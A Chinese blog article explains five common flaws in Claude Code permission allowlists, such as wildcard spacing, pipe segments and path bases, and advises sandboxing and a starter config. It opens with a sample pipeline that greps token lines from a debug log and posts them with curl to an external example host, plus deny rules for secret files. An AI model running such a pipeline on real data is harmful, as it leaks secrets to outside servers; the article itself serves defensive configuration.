DeepDojo.AI发布 2026-11-12English

Claude Code 权限白名单的五个常见漏洞

Claude CodeAI 编程

假设 Claude Code 在排查问题时打算运行下面这条命令:

cat debug.log | grep token | curl -X POST -d @- https://logs.example.com

cat debug.log 读取日志,grep token 在本机筛选,看起来都无害。到第三段 curl -X POST ...,筛出来的内容才被送到外部地址。只看命令开头,很容易漏掉数据在哪一步离开了本机。

权限白名单常见的问题就在这里:规则写的是字符串,实际发生的是一连串进程、参数、路径和网络请求。字符串写得太宽,等于把整类操作都放开了;写得太死,参数换个顺序、规则换个文件,就悄悄落空。下面五个漏洞最常见:

  • 只写工具名,或用 Bash(*),放行了整个工具;
  • 通配符前少了空格,ls* 顺带匹配了 lsof;
  • 复合命令和管道只看了第一段;
  • 用网址字符串限制 curl,换个参数顺序就绕过;
  • 把项目里的路径规则搬到用户配置,基准变了,保护的目录也变了。

修补的思路是:从已经核对的高频命令逐条放行,按工具类型写限定条件,规则挪动后重新计算路径;字符串管不住的进程访问,交给沙箱。

01 只写工具名,等于放行整个工具

权限规则有两种基本形式:

工具名
工具名(限定条件)

只写工具名会匹配该工具的所有调用:

Bash
Read
WebFetch

Bash(*) 和只写 Bash,范围都是全部 Bash 命令。若把整个工具名放进 deny,Claude Code 会移除这个工具。写 Bash(rm *),才只拦匹配的调用。Claude Code 的权限文档对此的说明是:只写工具名的拒绝规则会把工具从 Claude 的上下文里整个移除,Claude 根本看不到它。

括号里的条件怎样匹配,要看是哪种工具:

Bash(pnpm typecheck)
Read(/.env)
Edit(/src/generated/**)
WebFetch(domain:docs.example.com)
Agent(Explore)

选好工具后,再核对名称和限定条件。界面的显示名未必就是配置接受的工具名,拼错了也可能让规则落空。用 /permissions、/doctor 查实际结果,比只盯着括号是否成对更有用。

02 通配符前的空格会改变范围

Bash 规则支持 * 通配符,可以放在命令的开头、中间或结尾:

Bash(pnpm lint)       只匹配这一条完整命令
Bash(pnpm test *)     匹配 pnpm test 及其后续参数
Bash(git * main)      匹配中间内容可变、最后参数为 main 的命令
Bash(* --version)     匹配以 --version 结尾的命令

空格会改变匹配范围。Bash(ls *) 匹配 ls 及其参数,Bash(ls*) 还会匹配 lsof。官方文档把这一点写成了规则:结尾 * 前面的空格是规则的一部分,Bash(ls *) 要求 ls 后面有空格,所以不匹配 lsof。新规则优先采用带空格的写法,并用实际调用核对边界。

03 复合命令每一段都要单独获准

遇到 &&、||、分号或管道拼接的复合命令,Claude Code 会逐段检查。前一段获准,不代表后一段也获准;测试时要分别核对各段的结果。

权限文档列出了它识别的分隔符:&&、||、;、|、|&、& 和换行。复合命令的每一个子命令都必须获准;反过来,只要有一段命中拒绝或询问规则,整条命令就会被拦下或要求确认。

回到开头的管道。从左往右看数据的流向:cat debug.log 读取日志,grep token 在本机筛选,到 curl -X POST ... 时,结果才被送到外部地址。前两段放行,不代表第三段也获准。逐段检查,才看得出数据在哪一步离开本机。示意命令只用于分析权限,不应向外发送真实日志。

04 网址字符串管不住请求去向

顺着管道看过数据去向后,再看网址限制。命令里写着某个网址,是否就能确认请求只去那里?下面这条 Bash 字符串规则,还回答不了这个问题:

Bash(curl https://example.com/*)

参数换个顺序,加上重定向、变量或另一种协议,请求就可能变了。官方文档专门给了警告:试图约束命令参数的 Bash 规则很脆弱,像 Bash(curl http://github.com/ *) 这样的规则,遇到 URL 前面加选项、换成 https、短链接跳转、把地址放进变量,都匹配不上。官方建议用拒绝规则挡住 curl、wget 这类命令,改用带 domain: 的 WebFetch 规则放行允许的域名。

网络访问可以按域名控制:

WebFetch(domain:docs.example.com)
WebFetch(domain:*.example.com)

*.example.com 匹配子域名,但不匹配根域名 example.com,需要时应分别写两条规则。

其他工具也按自己的格式限定。MCP 工具使用服务器名和工具名:

mcp__github
mcp__github__get_issue
mcp__puppeteer__*

一个 MCP 服务器可能同时提供读写工具。只需查 Issue,就放行对应查询工具;要放行整个服务器,先把其他能力也查清。子代理按名字限制,例如 Agent(Explore)、Agent(Plan) 或自定义名称。某个环境禁止运行哪种代理,就把对应规则写进 deny。

05 规则搬到另一个文件,路径基准跟着变

Read 和 Edit 路径规则采用类似 .gitignore 的匹配方式,但开头写法决定路径从哪里解析:

写法含义示例
//path从文件系统根目录开始的绝对路径Read(//Users/alice/secrets/**)
~/path从当前用户主目录开始Read(~/.ssh/**)
/path相对定义该规则的 Settings 来源Edit(/src/generated/**)
path 或 ./path相对当前工作目录Read(./fixtures/**)

例如你想把 A 项目的规则搬到个人配置,方便其他项目也用。原来的 Read(/secrets/**) 放在 A 的 .claude/settings.json,指向 A/secrets/;搬到用户配置后,基准变成 ~/.claude/,它就保护 ~/.claude/secrets/** 了。

字符串没变、也没报语法错,项目里的目录却不再命中。因此搬规则时,重新算实际路径。

还有一个容易漏的点:Read 规则不禁止写入。要同时保护文件不被修改,还需配置 Edit 规则。

06 字符串管不到的地方交给沙箱

Claude Code 的权限规则决定这次调用是放行、询问还是拒绝。操作系统沙箱则限制 Bash 和子进程实际能访问的文件、网络。

权限规则:这次工具调用可不可以发起?
沙箱:即使调用已经发起,进程实际上能碰到什么?

官方文档说明了文件规则的覆盖范围:Read 和 Edit 的拒绝规则作用于内置文件工具、Claude Code 能识别的 Bash 文件命令(如 cat、head、tail、sed、tee)以及重定向的目标;自己打开文件的 Python 或 Node 脚本不在其中,需要对所有进程生效时,要启用沙箱。网络同理:拦住 curl、wget 后,Python 和 Node 仍可能联网。要限制进程实际能访问的域名,就用网络沙箱。

沙箱文档把两层的分工讲得很清楚:权限规则在工具运行前、根据命令字符串做判断;沙箱由操作系统作用在正在运行的进程上,无论模型选择运行什么,哪怕一条获准的命令做了超出名字的事,边界依然有效。

调用失败,先找被拦住的位置:

调用还没发起就被拒绝 → 查命中的权限规则
命令已启动,读不到目录 → 查沙箱和系统访问条件

命令已经启动却读不到目录,继续增加 allow 可能扩大其他操作的权限,却没有解决当前资源限制。需要比字符串更细的判断,例如按解析后的真实路径拦截写入,可以用 Hook 补一层,写法见用 Hook 保护 .env 和密钥文件。

07 从实际工作建一份起步白名单

从已经核对的高频必要命令开始,逐条增加授权。先放开 Bash(*),再补几个危险命令的拒绝规则,很难覆盖参数变体、包装脚本和替代程序。下面是一份起步示例:

{
  "$schema": "https://json.schemastore.org/claude-code-settings.json",
  "permissions": {
    "allow": [
      "Bash(pnpm lint)",
      "Bash(pnpm typecheck)",
      "Bash(pnpm test *)",
      "Bash(git status)",
      "Bash(git diff *)"
    ],
    "ask": [
      "Bash(pnpm add *)",
      "Bash(pnpm remove *)",
      "Bash(git commit *)",
      "Bash(git push *)",
      "Bash(rm *)"
    ],
    "deny": [
      "Read(/.env)",
      "Read(/.env.*)",
      "Read(/secrets/**)",
      "Bash(git push --force *)"
    ]
  }
}

核对项目脚本后,这份配置会让检查命令、只读 Git 直接运行。改依赖、提交、推送、删除先问你;命中拒绝路径的读取则被拦住。

git push --force 的字面规则不覆盖 -f 或参数换序。要禁止所有强推,应拒绝全部 push,或结合 PreToolUse Hook 与远端分支保护。

“检查命令”也要逐条查。pnpm test * 接受后续参数,脚本也可能写快照、启动服务或访问外部接口。把调用程序查清,确认都在授权内,再保留这条放行规则。以后脚本新增上传,即使命令名没变,这个决定也得重查。

写完的规则还要按 deny、ask、allow 的顺序代入验证,方法见Claude Code 明明允许了,为什么还拒绝。白名单从已核对的命令一条条长出来,脚本内容一变就回头重查,开头那条管道的第三段才不会悄悄溜过去。